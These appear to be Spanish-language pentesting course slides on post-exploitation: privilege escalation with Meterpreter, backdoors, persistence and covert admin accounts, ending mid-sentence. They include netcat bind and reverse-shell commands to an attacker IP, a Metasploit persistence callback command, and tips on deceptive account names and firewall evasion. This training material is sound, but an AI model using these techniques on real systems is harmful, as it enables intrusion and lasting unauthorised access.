1 POST Explotacion

Certified Offensive and Defensive Security Professional
- Entrenamiento E-learning -
Fase Post- Explotación

(Post-Hacking)
© www.dsteamseguridad.com
Estructura de Post- Explotación
 Escalando Privilegios
 Manteniendo el Acceso
 Password Cracking y Pass The Hash
 Explotación de nuevos sistemas y Pivoting
 Recolección de Información
 Análisis de Red interna (Sniffing, keyloggers, etc)
 Migrando procesos y borrando huellas
 Port FW+Pivoting Attack --Combinando todas las armas!!
 Ataques del lado cliente e Ingeniería social
Post- Explotación: Definición
La fase de la Post- Explotación es la fase consecuente al proceso de

Explotación y se define como el proceso mediante el cual se llevan a la
practica una serie de actividades en el equipo/host o red que se esta
auditando, o que esta siendo atacado, con el propósito de realizar
acciones complementarias en el equipo o red al cual se ha logrado el
acceso por medio de la explotación de una vulnerabilidad.
El proceso de Post Explotación es la ultima de las fases técnicas dentro de
un proceso de auditoría técnica de seguridad del tipo PenTesting.
Recolección de
Scanning
Análisis de
Explotación
Post-
Información Vulnerabilidades Explotación
Post- Explotación: Características
Dentro de las características importantes del proceso de Post- Explotación

se encuentran:
 Es un proceso en donde dependiendo del diseño y arquitectura de
red del sistema auditado y/o atacado, se permite atacar o auditar los
host y/o equipos informáticos pertenecientes a una red interna, por
medio de un solo equipo informático, el cual puede en algún
momento estar conectado a dos redes diferentes (Publica y Privada).
 Se debe de comenzar con nuevos procesos de auditoría relacionados
con: Recolección de Información, Scanning, Análisis de
Vulnerabilidades, entre otros.
 Es una de las fases técnicas mas importantes de la auditoría del tipo
Hacking Ético y/o Pentesting.
Legalidad y Reglas de compromiso del proceso de Post Explotación
(I).
Como se ha estudiado en módulos anteriores de este curso de seguridad y
Hacking, las reglas de compromiso y acuerdos pactados entre un cliente
y un evaluador de seguridad (Pentester) son altamente importantes antes
de realizar la prueba de seguridad o Test de intrusión.
Por lo anterior es altamente importante que se deje claro con el cliente las
actividades y/o pruebas de auditoria que se llevan a la practica en un
proceso de Post Explotación, ya que durante este proceso se puede
revelar información sensible de la compañía, o tener alcances a sistemas
informáticos que inicialmente estaban fuera del alcance de la auditoria
de seguridad o Test de Penetración.
Legalidad y Reglas de compromiso del proceso de Post Explotación
(II).
Dentro de lo que se debe de dejar claro en los documentos que soportan
las reglas de compromisos del Test de Penetración se encuentran:
 Si se permite hacer Pivoting a otros sistemas
 Si se permite hacer Cracking de Password
 Si se permite infectar los sistemas que han sido explotados con una puerta
trasera, o generar procesos de persistencia.
 Si se permite deshabilitar los sistemas de protección como los Antivirus o
AntiMalware.
 Si se permite lanzar ataques de negación de servicios.
 Si se permite hacer capturas de red (Sniffing).
 Si se permite crear cuentas o modificar información
 Acuerdos de tratamiento de información recolectada. Aquí se deja claro
las protecciones que se le dan a los datos obtenidos como evidencia por
el evaluador de seguridad.
Actividades del proceso de Post Explotación (I).
Dentro de los actividades mas comunes que un atacante informático o

auditor de seguridad llevaría a la practica en un proceso de Post
Explotación se encuentran:
 Identificar otros posibles blancos de ataque, como otros equipos de
computo, servidores, sistemas de seguridad, Routers, entre otros.
 Pivoting, El atacante buscara conectarse a otros posibles objetivos de
ataque por intermedio del equipo que ha explotado de forma inicial, el
cuál incluso puede usar como enrutador para alcanzar otras subredes.
 Aumentar el Nivel de Privilegios, Una vez comprometido el sistema, el
analista de seguridad buscará aumentar privilegios en el sistema
objetivo
 Eliminar Rastros, Dependiendo del tipo de análisis pactado entre una
analista y un cliente, se procede a la eliminación o no, de los rastros de la
intrusión.
Actividades del del proceso de Post Explotación (II).
Dentro de los actividades mas comunes que un atacante informático o
auditor de seguridad llevaría a la practica en un proceso de Post
Explotación se encuentran:
 Técnicas de Ocultamiento: El atacante busca evadir sistemas de
monitoreo, por lo que se hace necesario ocultarse en otro proceso
menos ruidoso.
 Scanning: El atacante podrá realizar un nuevo proceso de scanning de
puertos sobre los nuevos equipos que ha logrado alcanzar.
 Mantener el acceso: El atacante intentara dejar algún tipo de puerta
trasera en el equipo victima con el propósito de garantiza el acceso al
sistema explotado.
 Cracking de Passwords: El atacante buscará hacer cracking a los Hash
de los usuario que ha obtenido de forma previa en el proceso de
explotación.
Conceptos y Herramientas importantes en el ciclo del proceso de
Post- Explotación
Son muchas las herramientas y técnicas que pueden usarse para

fortalecer, apoyar y automatizar el ciclo de Post- Explotación. De manera
inicial, es importante tener un conceptos al respecto de:
 Payload Meterpreter
 Exploit multi/handler
 Módulos POST
-CODSP-
Meterpreter (Meta- Interpreter) “Todo en Uno” – El Payload Rey.
Metasploit Framework tiene muchos Payloads, pero Meterpreter es uno de
los que mas funcionalidades tiene. Meterpreter se define como una
extensión de Metasploit, la cual permite aprovechar al máximo las
funcionalidades de Metasploit y aumentar el alcance en lo que respecta a
comprometer una maquina victima. También puede definirse como un
Payload avanzado.
-CODSP-
Funcionalidades y Características de Meterpreter
 Cargar Un Keylogger(Módulo que graba las pulsaciones en el teclado) en
el sistema victima
 La comunicación entre el atacante (Auditor) victima (objetivo de
evaluación) es cifrada
 Hacer capturas de pantalla(Screenshot) en el sistema victima
 Subir y descargar archivos entre el sistema victima y el atacante y/o
auditor.
 Apagar el sistema victima
 Manipular el registro de Windows en el sistema victima (Acceso
Lectura/Escritura)
 Abrir una Shell de comandos en el sistema victima
 Migrar de procesos en el sistema victima
-CODSP-
Funcionalidades y Características de Meterpreter
 Pivoting entre subredes en el sistema y/o red victima

 Evita la creación de procesos en el sistema victima
 Evita la creación de archivos en el disco duro del sistema victima
 Se pueden usar múltiples canales de comunicación entre la victima y
el atacante (Auditor) usando la misma conexión.
 Acceso al sistema de archivos en el sistema victima
 Ejecución de comandos en el sistema victima
 Obtener información del sistema victima
 Deshabilitar el software antivirus
 Capturar trafico de red en el sistema victima
-CODSP-
Exploit multi/handler
multi/handler, es un código de explotación (Exploit) algo especial dentro

del Framework de Explotación Metasploit, ya que este exploit es usado
por Metasploit de forma trasparente al usuario, cuando se ejecuta un
proceso de explotación, tal y como lo hacíamos en las clases,
demostraciones y guías de laboratorio de la fase de «Explotación
automatizada».
-CODSP-
Exploit multi/handler
Características del módulo exploit multi/handler:
 La ruta donde se encuentra el codigo fuente de este módulo es:

/metasploit-framework/modules/exploits/multi
 Es un exploit multiplataforma
 Se ejecuta en segundo plano de forma automática
 Se ejecuta de forma manual y dirigida , según necesidades del auditor
y/o atacante
http://www.rapid7.com/db/modules/exploit/multi/handler
El ciclo del proceso de Post- Explotación
Teniendo presente que durante un proceso de Post Explotación se

pueden obtener nuevos datos y blancos (Targets) de ataque, el propios
proceso de post explotación, al igual que el procesos de una auditoría
del tipo Pentesting o Hacking Ético, también se compone de fases y tiene
un ciclo de trabajo. El ciclo de Post Explotación es el siguiente:
 Escalando Privilegios
 Manteniendo el Acceso
 Password Cracking y Pass The Hash
 Explotación de nuevos sistemas y Pivoting
 Recolección de Información
 Análisis de Red interna (Sniffing, keyloggers, etc)
 Migrando procesos y borrando huellas
Escalando Privilegios
(Privilege Escalation)
Escalando Privilegios ( Privilege Escalation)
Una vez que un atacante informático o auditor de seguridad ha logrado

explotar una vulnerabilidad y ha ingresado a un equipo informático, el
primer paso que se debe de realizar en el proceso de Post Explotación es
aumentar los privilegios. Lo anterior aplica de forma mas precisa en caso
de que el atacante a ingresado con privilegios mínimos o limitados al
sistema que ha logrado vulnerar. El paso de escalar privilegios tiene como
objetivo primordial el no tener limitaciones en el sistema atacado.
EJEMPLOS Y PRUEBAS DE
CONCEPTO
Ejemplo: En el siguiente ejemplo se explota una vulnerabilidad en un

servidor MSSQL, la cual se soporta en un Password débil del usuario sa
(System Administrator) , usuario administrador o maestro de la conocida
bases de datos Microsoft SQL Server. Para la explotación de la
vulnerabilidad en mención, se utiliza el Framework de Explotación
Metasploit Framework, con la siguiente información.
Exploit: exploit/windows/mssql/mssql_payload
Payload: windows/meterpreter/reverse_tcp
Luego se asignan las variables que solicita el respectivo código exploit y

payload, y se lanza el ataque.
Una vez que se ha lanzado el ataque con la información mencionada en al

diapositiva anterior, el atacante o auditor informático, obtendrá una shell
de meterpreter, pero el usuario con el que ingresa inicialmente es
limitado, por lo que se procede a realizar un escalamiento de privilegios,
que para el caso de este ejemplo, se usa del comando de meterpreter
getsytem.
Anotaciones de Interés: Respecto al ejemplo anterior, es importante

tener presente que el proceso de explotación utilizado, solo se ejecuta
siempre y cuando se tenga presente y se cumpla lo siguiente:
 El sistema victima no tenga una protección actualizada de Antivirus

 El sistema victima no este protegido por un sistema detector de
intrusos o de prevención de intrusos
 Entre el sistema victima y atacante tengan conexión entre si
 Que el puerto 1433/TCP permita el acceso y no este bloqueado
mediante un sistema Firewall o una ACL de un Router perimetral.
 Que el atacante informático o auditor de seguridad haya obtenido la
contraseña de usuario sa (System Administrator) de forma previa en
los procesos de análisis de vulnerabilidades.
Otras formas de escalar privilegios: Existen muchas técnicas,

herramientas y métodos para escalar o aumentar los privilegios en un
sistema informático que ha sido vulnerado. Algunas de las técnicas o
métodos son:
 Ejecutar un código de explotación de forma local

 Crear cuentas de usuario con privilegios mas altos
Fuente: http://1337day.com/exploit/21224
Metasploit y Meterpreter: Teniendo presente el uso del Framework de

explotación Metasploit es frecuente en este curso de seguridad, es
importante tener en cuenta el uso de los siguientes comandos
meterpreter asociados a escalar privilegios.
use priv: Este comando carga la extensión privilege para las bibliotecas
extendidas de meterpreter.
getsystem: Este comando intenta elevar permisos de acceso a nivel de
system en el sistema atacado.
Anotación de Interés: El comando getsystem pertenece a la extensión

(módulo) de meterpreter descrita como priv, a la cual también pertenecen los
comandos hashdump y timestomp.
Metasploit y Meterpreter: «Un poco mas del comando getsystem».

Teniendo presente la importancia del uso de este comando al momento
de escalar privilegios, se tiene la siguiente información adicional:
 Para obtener la ayuda de este comando, se debe de escribir desde una

consola meterpreter el comando getsystem -h
Metasploit y Meterpreter: «Un poco mas del comando getsystem».

El comando getsystem por defecto funciona bien desde una shell
meterpreter y trata de probar las diversas técnicas de escalar privilegios
disponibles para este comando, sin embargo si en algún momento
presenta problemas para la ejecución, se puede hacer uso de forma
especifica de las técnicas para usar este comando, las cuales van desde la
opción 0 hasta la 4, teniendo presente que la opción cero (0) es la opción
por defecto. Para cambiar la opción se usa el comando getsystem –t
(seguido del numero de la opción).
Tips: Tener presente que elevar privilegios

haciendo uso del comando meterpreter
getsystem, es una labor relativamente sencilla
si el atacante informático y-o auditor de
seguridad se enfrenta a un sistema antiguo
como Windows XP/2003 Server, pero al
momento de tratar de hacerlo ante un equipo
Windows y-o Linux mas moderno puede ser
una labor un poco mas compleja.
Manteniendo el Acceso
(Maintaining Access)
Manteniendo el Acceso (Maintaining Access)
Una vez que un atacante informático o auditor de seguridad ha logrado

escalar privilegios en el sistema informático al cual ha logrado ingresar
por medio de la explotación de una vulnerabilidad, el siguiente paso es
tratar de garantizar el acceso futuro al sistema por algún tipo de
mecanismo, ya que el sistema luego de la intrusión, puede asegurarse por
parte del administrador, y por consecuente el atacante y/o auditor
perdería el acceso logrado en la fase de explotación.
Métodos para mantener el acceso: Dentro de los métodos mas comunes

para que un atacante informático o un auditor de seguridad trate de
mantener el acceso a un sistema informático que se ha vulnerado de
forma previa, se encuentran:
 Infectar el sistema con una puerta trasera (BackDoor).
 Generar una conexión directa, reversa y persistente.
 Infectar el sistema con algún tipo de Malware (Rootkit, Troyano).
 Crear una cuenta de usuario valida en el sistema o en lo servicios de
red. (También aplica modificar una existente)
 Romper (Cracking) un Password
 Pass The Hash
Métodos para mantener el acceso
Puertas Traseras
(BackDoors)
Métodos para mantener el acceso -Infectar el sistema con una puerta

trasera (BackDoor)-
Dentro de los métodos mas usados y mas efectivos para garantizar el
acceso a un sistema informático que ha sido previamente explotado, se
encuentra la infección de una puerta trasera (BackDoor), la cual garantiza
al atacante o auditor de seguridad un puerta de acceso al sistema. La
infección de una puerta trasera en el sistema victima funciona de forma
adecuada, incluso si se ha corregido el agujero de seguridad o
vulnerabilidad que fue aprovechada por el atacante informático o auditor
de seguridad, antes de colocar la puerta trasera en el sistema afectado.

trasera (BackDoor)-
Definición de una puerta trasera (BackDoor): Una puerta trasera puede
entenderse como un mecanismo que es usado por un atacante y/o
auditor de seguridad, para poder garantizar el acceso a un sistema
informático que ha sido explotado de forma previa. La puerta trasera le
garantiza acceso al atacante informático, por si el sistema atacado es
parchado, asegurado, o simplemente como plan de contingencia por si el
sistema victima presenta algún tipo de negación de servicios o
inestabilidad.
Para ampliar información sobre este concepto remitirse al siguiente link:

http://es.wikipedia.org/wiki/Puerta_trasera

trasera (BackDoor)-
Formas de una puerta trasera (BackDoor) en el sistema victima: Una
puerta trasera puede verse representada de diversas formas en el
sistema que ha sido previamente explotado por el atacante informático o
auditor de seguridad. Algunas de las formas mas usadas de
colocar(Infectar) y poner en funcionamiento una puerta trasera son:
 Crear una cuenta de usuario valida en el sistema operativo o aplicación
 Infección de Malware
 Parte maliciososa de código fuente de un programa
 Crearse como un servicio en el equipo victima
 Crear claves en el registro de Windows

trasera (BackDoor)-
Formas de conectarse a una puerta trasera: Para conectarse a una puerta
trasera, un atacante o auditor puede hacer uso de las siguientes tipos de
conexiones:
 Conexión Directa (Bind): Para este tipo de conexión, el atacante debe
de haber infectado la puerta trasera en el equipo victima, e indicarle a
la puerta trasera que abra un puerto, como por ejemplo abrir el puerto
31337 TCP. Luego el atacante debe de conectarse desde su maquina a
la maquina del equipo victima por el puerto que esta abierto,
 Conexión reversa (reverse): Para este tipo de conexión, el atacante
debe de haber infectado la puerta trasera, e indicarle que sea esta la
que se conecte al atacante por algún puerto, por ejemplo el puerto
4443 TCP. © www.dsteamseguridad.com

trasera (BackDoor)-
Formas de conectarse a una puerta trasera: Para conectarse a una puerta
trasera, un atacante o auditor puede hacer uso de las siguientes tipos de
conexiones:
 Conexión Persistente: Para este tipo de conexión, el atacante debe de
haber infectado la puerta trasera en el equipo victima, e indicarle a la
puerta trasera que este tratando de conectar al atacante cada
determinado tiempo, por un puerto especifico, y a una dirección IP
especifica. La conexión persistente debe de estar acompañada o
trabajar de forma paralela a una conexión directa o reversa.

trasera (BackDoor)-
Anotación de Interés: Una vez que la puerta trasera ha sido infectada o
creada en el sistema victima, se debe de tener presente lo siguiente:
 Si la puerta trasera abre un puerto TCP, dicho puerto debe de estar
abierto y con redirección de puertos, en caso de que la conexión entre
el atacante y el equipo victima este por medio de un Firewall o Router.
 Si la puerta trasera lo que hace es llamar al atacante (Reverse), el
puerto por el cual la puerta trasera se intenta conectar al atacante no
debe de estar filtrado pro el sistema de seguridad (Firewall o Router)
 Si la puerta trasera lo que hace es llamar al atacante (reverse), este
debe de estar esperando la conexión respectiva.

trasera (BackDoor)-
Tips: Tener presente que uno de los
inconvenientes que pueden presentarse al
momento de conectar con una puerto trasera
de forma reversa (Que la victima, sea quien
conecte al atacante) es la dirección IP, y puerto,
ya que en muchas ocasiones las direcciones IP
publicas suelen cambiar con frecuencia. Para
mitigar esta situación, se puede hacer uso de los
diversos servicios de DNS gratuitos, tales como:
http://freedns.afraid.org/
http://www.xname.org/
trasera (BackDoor)- Arquitectura de red para puertas traseras.
CONCEPTO

trasera (BackDoor)-
Herramientas tecnológicas para infectar una puerta trasera: Son muchos
los programas informáticos que pueden usarse como puerta trasera,
algunos clasificados como Malware , y otros utilizados por los auditores de
seguridad en sus listas de chequeo para realizar las pruebas de auditorias-
seguridad y/o Pentesting.
En este curso de seguridad vamos a centrar el estudio y ejemplos en las
herramientas usadas por auditores, y no en herramientas delincuenciales
obtenidas en el mercado negro o catalogadas como Malware.

trasera (BackDoor)-
Herramientas tecnológicas usadas para infectar una puerta trasera: Dos
de las herramientas preferidas por los auditores de seguridad son:
Netcat
Metasploit-Framework
http://netcat.sourceforge.net/
http://www.metasploit.com/
Netcat dispone de varias versiones
Anotación: Ambas herramientas se han usado y estudiado en módulos anteriores.


trasera (BackDoor)-
Herramientas tecnológicas usadas para infectar una puerta trasera:
Cada una de las herramientas mencionadas en la diapositiva anterior
pueden ver su efectividad representada en diferentes aspectos tales como:
 Método de infección
 Automatización
 Detección

trasera (BackDoor)-
CONCEPTO

trasera (BackDoor)-
Ejemplo con la herramienta netcat: Para este ejemplo vamos a usar la
herramienta netcat para crear una puerta trasera en el equipo victima.
Una vez que la puerta trasera esta en el equipo victima, esta abrirá el
puerto 4443, para esperar la conexión del atacante (Conexión Directa)
Escenario: Se tiene una equipo Windows Server, el cual tiene instalado un
servidor de bases de datos MSSQL Server. Dicho servidor tiene una
vulnerabilidad critica previamente identificada, la cual se ve representada
en una clave débil en el usuario SA (System Administrator) de la base de
datos. Para explotar dicha vulnerabilidad se hará uso de un cliente SQL
Server para hacer una conexión directa a la base de datos,
aprovechándonos de la vulnerabilidad identificada.

trasera (BackDoor)-
Ejemplo con la herramienta netcat: Una vez que el auditor o atacante
tenga conexión a la victima por medio del cliente MS-SQL, el siguiente
paso es habilitar el procedimiento almacenado XP-CMDSHELL, y proceder
a lanzar comandos en el sistema operativo victima. Para el caso se infecta
la puerta trasera netcat en el equipo victima haciendo uso del protocolo
UDP/TFTP.

trasera (BackDoor)-
Ejemplo con la herramienta netcat: Una vez que el auditor o atacante
tenga conexión a la victima por medio del cliente MS-SQL y pueda lanzar
comandos al sistema operativo por medio del procedimiento almacenado
XP-CMDSHELL, y se tenga el ejecutable netcat en el disco duro de la
victima, el paso siguiente es lanzar comandos netcat, para poder abrir una
puerta trasera (Puerto 4443 TCP). Esto se logra ejecutando en la victima y
atacante los siguientes comandos.
nc.exe -lvp 4447 -e cmd.exe

(Victima)
(Atacante)

trasera (BackDoor)-
Ejemplo con la herramienta netcat: Ahora que se ha visto un primer y
básico ejemplo de infección de una puerta trasera con la herramienta
netcat para recibir conexión directa, es importante tener presente lo
siguiente:
 La infección se realizo usando el protocolo TFTP y el procedimiento
almacenado XP_CMDSHELL, pero pueden usarse otros métodos,
protocolos de red y herramientas para hacer la infección.
 Para la conexión directa se debe de tener presente que si el atacante
esta en otra subred, debe de crear una regla que permita el trafico del
respectivo puerto y protocolo de red hacia el equipo victima.

trasera (BackDoor)-
Ejemplo 2 con la herramienta netcat: En este segundo ejemplo, se
tomará de forma completa el escenario planteado en el ejemplo anterior,
pero esta vez se le indicara a la herramienta netcat que sea esta quien
contacte al atacante. Esto se logra ejecutando en la victima y atacante los
siguientes comandos respectivamente.
nc -nv IP-ATACANTE 443 -e cmd.exe (Atacante)
(Victima)

trasera (BackDoor)-
Ejemplo 2 con la herramienta netcat: Ahora que se ha visto un segundo y
básico ejemplo de infección de una puerta trasera con la herramienta
netcat para realizar conexión inversa, es importante tener presente lo
siguiente:
 El tipo de conexión a una puerta trasera de forma inversa puede evadir
sistemas de control como Firewalls, siempre y cuando el puerto que usa la
conexión reversa sea permitido por el Firewall. Por lo anterior es
importante usar puertos conocidos como 80,443, entre otros.
 Una vez que la puerta trasera realice la conexión inversa al atacante, la
maquina de este debe de escuchar y hacer NAT al puerto usado por la
puerta trasera.

trasera (BackDoor)-
Tips: Haciendo un análisis de la herramienta

netcat en el sitio web www.virustotal.com, se
puede validar que 30 de 49 sistemas antivirus
analizados identifican la herramienta netcat
(Básica) como archivo peligroso o Malware.
Métodos para mantener el acceso – Puertas Traseras ,Habilitar servicios

de red, como RDP y Telnet
CONCEPTO

trasera (BackDoor)-
Ejemplo con la herramienta Metasploit Framework: La herramienta de
auditoria de seguridad Metasploit Framework permite hacer el proceso
de infección de una puerta trasera de forma directa o inversa de una
forma mas automatizada que la observada en el ejemplo con la
herramienta netcat. Para el caso de este ejemplo vamos a usar el Payload
Meterpreter con las respectivas herramientas para hacer una infección de
la puerta trasera directa, inversa y persistente. Las herramientas a usar
son:
 Metsvc (Conexión Directa y persistente)
 Persistence (Conexión Inversa y persistente)

trasera (BackDoor)-
Ejemplo 1 con la herramienta Metasploit Framework: El primer ejemplo
que se presenta es haciendo uso de la herramienta Metsvc para hacer una
infección de una puerta trasera en el equipo victima de forma automática.
Para hacer la infección en el equipo victima, se debe de tener una shell de
meterpreter, y desde esta lanzar el siguiente comando:

trasera (BackDoor)-
Ejemplo 1 con la herramienta Metasploit Framework: Una vez que se ha
ejecutado el comando run metsvc desde una shell meterpreter, el sistema
victima (Windows Server Megatron para este ejemplo) ha sido infectado
con una puerta trasera de forma automática. La puerta trasera infectada
tiene las siguientes características:
 Se ha cargado en el equipo victima como un servicio de Windows.
 La puerta trasera abre el puerto 31337 TCP
 El servicio se inicia de forma automática cada que Windows se reinicie,
generando así la persistencia en el tiempo para que el atacante o
auditor pueda conectarse al equipo victima.

trasera (BackDoor)-
Ejemplo 1 con la herramienta Metasploit Framework : En las siguientes
imágenes se pueden ver algunas evidencias de la infección de la puerta trasera
en el equipo victima.
Puerto 31337 TCP abierto, y esperando

Metsvc insertado como servicio en el equipo
conexiones,
victima, y en modo de inicio automático.

trasera (BackDoor)-
Ejemplo 1 con la herramienta Metasploit Framework: Para finalizar este
ejemplo, el atacante o auditor debe de usar el lado cliente de la puerta
trasera, o sea el software que permite la conexión a al puerta trasera que
esta escuchando en el puerto TCP 31337, Para lograr dicha conexión se
debe de hacer uso de un exploit y un Payload desde el software
Metasploit Framework. Para el caso se usan los siguientes:
Exploit: exploit/multi/handler
Payload: windows/metsvc_bind_tcp
Luego se asignan las variables que solicita el respectivo código exploit y

payload, y se lanza la conexión a la puerta trasera.

trasera (BackDoor)-
Ejemplo 1 con la herramienta Metasploit Framework: Si todo sale bien,
se debe de tener una nueva shell de meterpreter.

trasera (BackDoor)-
Anotaciones de Interés sobre el Script Metsvc: Una vez visto en el
ejemplo anterior como trabaja el Script Metsvc, es importante tener
presente algunos conceptos adicionales.
 Los sistemas de protección como los Antivirus pueden prender las alarmas
al momento de la infección de la puerta trasera en el equipo victima.
 El script Metsvc tiene una opción para desinstalar la puerta trasera en el
equipo victima. Sin embargo solo se desinstala, mas no se borran del disco
duro los archivos cargados cuando se realizo la infección de la puerta
trasera en el equipo victima. Esto último debe de hacerlo el atacante o
usuario final del equipo victima.

trasera (BackDoor)-
Anotaciones de Interes sobre el Script Metsvc: Si se requiere ayuda o
información adicional sobre las opciones de este Script de Meterpreter, se
debe de escribir el siguiente comando: run metsvc -h
Una de las opciones importantes de este script, es acompañar el comando

con la opción –A, con la cual se carga el exploit multi/handler de forma
automática.

trasera (BackDoor)-
Ejemplo 2 con la herramienta Metasploit Framework: El segundo
ejemplo que se presenta es haciendo uso de la herramienta Persistence
para hacer una infección de una puerta trasera en el equipo victima de
forma automática. Este tipo de puerta trasera permite una conexión
reversa con el atacante o auditor de seguridad. Para hacer la infección en
el equipo victima, se debe de tener una shell de meterpreter, y desde esta
lanzar el siguiente comando.
run persistence -U -X -i 60 -p 4443 -r 192.168.153.143

trasera (BackDoor)-
Ejemplo 2 con la herramienta Metasploit Framework: La siguiente es la
explicación del comando persistence usado para infectar la puerta trasera
en el equipo victima.
run persistence -U -X -i 60 -p 4443 -r 192.168.153.130
 La opción –U le indica del comando persistence indica que intente conectar
con el atacante cuando se inicie la sesión en el equipo victima.
 La opción –X del comando persistence indica que intente conectar con el
atacante cuando el sistema victima se inicia.
 La opción –i del comando persistence indica que la victima se intenta conectar
con el atacante cada 60 segundos.
 La opción –p del comando persistence indica el puerto por el que la victima
intentará conectar con el atacante.

trasera (BackDoor)-
Ejemplo 2 con la herramienta Metasploit Framework: Una vez que el
script persistence ha infectado la maquina victima y se ha puesto en
marcha, necesita conectarse con la maquina del atacante, por lo cual esta
debe de estar esperando conexión de la maquina victima. Para lograr esto
se hará uso y configuración del exploit multi/handler y del payload
windows/meterpreter/reverse_tcp.

trasera (BackDoor)-
Ejemplo 2 con la herramienta Metasploit Framework : En las siguientes
imágenes se pueden ver algunas evidencias de la infección de la puerta
trasera en el equipo victima.
Creación de claves en el
Registro de Windows.
Evidencia de la conexión de
la victima con el atacante
por el puerto TCP
configurado en al puerta
trasera persistente.

trasera (BackDoor)-
Anotaciones de Interés sobre el Script persistence: Una vez visto en el
ejemplo anterior como trabaja el Script persistence, es importante tener
presente algunos conceptos adicionales.
 Los sistemas de protección como los Antivirus pueden prender las alarmas
al momento de la infección de la puerta trasera en el equipo victima.
 Una vez que la puerta trasera infectada en la victima por medio del script
persistence intente conectar con el atacante, el sistema Firewall que
protege a la victima debe de permitir el trafico de red al puerto que se esta
conectando la puerta trasera. Para el ejemplo anterior es el puerto 4443.

trasera (BackDoor)-
Anotaciones de Interés sobre el Script Persistence: Si se requiere ayuda o
información adicional sobre las opciones de este Script de Meterpreter, se
debe de escribir el siguiente comando desde una shell meterpreter: run
persistence -h

trasera (BackDoor)-
Anotaciones de Interes sobre el Script Persistence: «Los parámetros»
Parámetro Explicación
-A Automáticamente se configura el exploit multi/handler para conectar con la puerta trasera
-S Automáticamente ejecuta la puerta trasera como un servicio al momento de iniciar el sistema
-U La puerta trasera intenta conectar con el atacante cuando se inicia sesión en la victima
-X La puerta trasera intenta conectar con el atacante cuando se inicia el sistema victima
-P Especifica el Payload que se va a usar (Por defecto es windows/meterpreter/reverse_tcp)
-T Especifica la plantilla del ejecutable que se desea utilizar
-i Especifica el numero de segundos que deben de pasar en para que la puerta trasera intentara
conectar con el atacante
-p Específica puerto por donde la puerta trasera intentará conectarse con la maquina atacante.
-r Especifica la dirección IP del ©

atacante, a la cual se conectará la puerta trasera .
www.dsteamseguridad.com
Métodos para mantener el acceso -Crear una cuenta de usuario valida
en el sistema o en los servicios de red-
CREAR O MODIFICAR UNA

CUENTA

Otra de las formas de mantener acceso a un sistema que sido
previamente vulnerado es crear o modificar una cuenta en el sistema
operativo del sistema comprometido, o en sus servicios de red. Aunque
no es método tan efectivo o avanzado como los vistos anteriormente, si
puede ser un método efectivo, y en ocasiones silencioso cuando el
sistema comprometido no tiene procesos de monitoreo. Por lo anterior
puede entenderse la creación de una cuenta como un método silencioso
de mantener el acceso al sistema comprometido.

Aspectos Importantes: Algunos de los aspectos que deben de tenerse
presente frente a la creación o modificación de una cuenta en el sistema
operativo o servicio de red de un sistema que ha sido previamente
explotado por un atacante o auditor informático, son los siguientes:
 Crear una cuenta es menos sospechoso que modificar una ya existente.
 Cuando se crea una nueva cuenta, debe de hacerse un poco de uso de la
ingeniería social, creando la cuenta con algún tipo de nemotecnia, como
nombres del sistema, o de la compañía que se esta atacando o evaluando.
 Es importante que la cuenta que se crea deba de tener ciertos niveles
administrativos en el sistema operativo o servicio de red del sistema victima.
 Un servicio de red puede crearse por el atacante, y crear una cuenta en dicho
servicio.

CONCEPTO

Ejemplo 1 Creando una cuenta a nivel de sistema operativo: Para este
primer ejemplo se va a crear una cuenta en un sistema operativo
Microsoft Windows Server. La cuenta creada se asigna al grupo de
administradores. Para realizar este ejemplo se parte de la base que el
atacante o auditor informático ya tiene acceso a una shell de
meterpreter, la cual es resultante de la explotación de una vulnerabilidad
conocida en el sistema victima.

Ejemplo 1 Creando una cuenta a nivel de sistema operativo: El primer
paso es ejecutar el exploit, luego que se tenga una shell de meterprter, se
debe de escalar privilegios con el comando meterpreter getsystem, y
luego proceder a la creación de la nueva cuenta y asignarla al grupo
administradores. 2
1

Ejemplo 1 Creando una cuenta a nivel de sistema operativo: Para finalizar
y complementar este ejemplo, se puede validar si el servicio RDP (Remote
Desktop Protocol) esta habilitado en al victima, de no ser así, se puede
habilitar con el siguiente comando meterpreter:
run getgui –e
En las imágenes de la siguiente diapositiva se puede observar el estado

del servicio RDP antes de ejecutar el comando en mención, y el estado
del servicio RDP luego de la ejecución del comando, El estado del servicio
se válida con la herramienta nmap, herramienta que ya se ha estudiado y
ejecutado en módulos anteriores.

Ejemplo 1 Creando una cuenta a nivel de sistema operativo:
1 3

Ejemplo 1 Creando una cuenta a nivel de sistema operativo: El ultimo
paso del ejemplo es lanzar un cliente RDP a la victima y acceder al sistema
victima probando y haciendo uso del protocolo RDP y de las credenciales
de acceso creadas anteriormente. Para el caso de ejemplo utilizaremos el
cliente RDP de Kali Linux.

Ejemplo 1 Creando una cuenta a nivel de sistema operativo:
Bingo!!!!!!!

Tips: Recuerda que el mejor auditor de sistemas o

Pentester a nivel de Infraestructura no es el que
mejor maneje aplicaciones automatizadas para
hacer auditoria, el mejor Pentester es quien sea
mas experto y tenga experiencia con diversos
sistemas operativos, servicios de red, y en general
conocimientos a nivel de infraestructura. Por lo
anterior es de gran importancia que dediques un
poco de tiempo a estudiar administración básica
de sistemas Windows Server http://es.wikipedia.org/wiki/Remo
te_Desktop_Protocol
(2003/2008/2012/2016/2019, y a aprender el
funcionamiento del protocolo ©RDP.
www.dsteamseguridad.com

Ejemplo 2 Creando una cuenta a nivel de un servicio de red: Para el
segundo ejemplo ejemplo se va a crear una cuenta en un servicio de red
muy conocido, como lo es el servidor de bases de datos MSSQL Server. La
cuenta que se va a crear se le va a asignar privilegios administrativos
sobre este servicio de red. Para la ejecución de este ejemplo, se parte de
la base que el atacante ha explotado una vulnerabilidad conocida en el
servicio de red en mención.

Ejemplo 2 Creando una cuenta a nivel de un servicio de red: El primer
paso es explotar la vulnerabilidad conocida y obtener acceso al sistema
MSSQL Server. Para lograr el acceso al sistema se parte de que el atacante o
auditor informático hace uso de un cliente MSSQL.

Ejemplo 2 Creando una cuenta a nivel de un servicio de red: El segundo
paso es crear una cuenta en el sistema de bases de datos, y asignarle
privilegios administrativos. Para el caso de este según ejemplo la cuenta se ha
creado con las siguientes características:
 El nombre de la cuenta a crear es sysadm. Este es un nombre que puede
confundir al administrador de la base de datos, en especial si este es algo
novato.
 Se deshabilitan las directivas de contraseñas para esta cuenta, y se le
asigna una contraseña sencilla, tal como sys2024SYS.
 Se le asignan a la cuenta sysadm roles con privilegios administrativos
sobre el sistema de base de datos.

Ejemplo 2 Creando una cuenta a nivel de un servicio de red: En las
siguientes imágenes se puede evidenciar lo realizado para crear la cuenta en el
sistema de bases de datos, según las características mencionadas en la
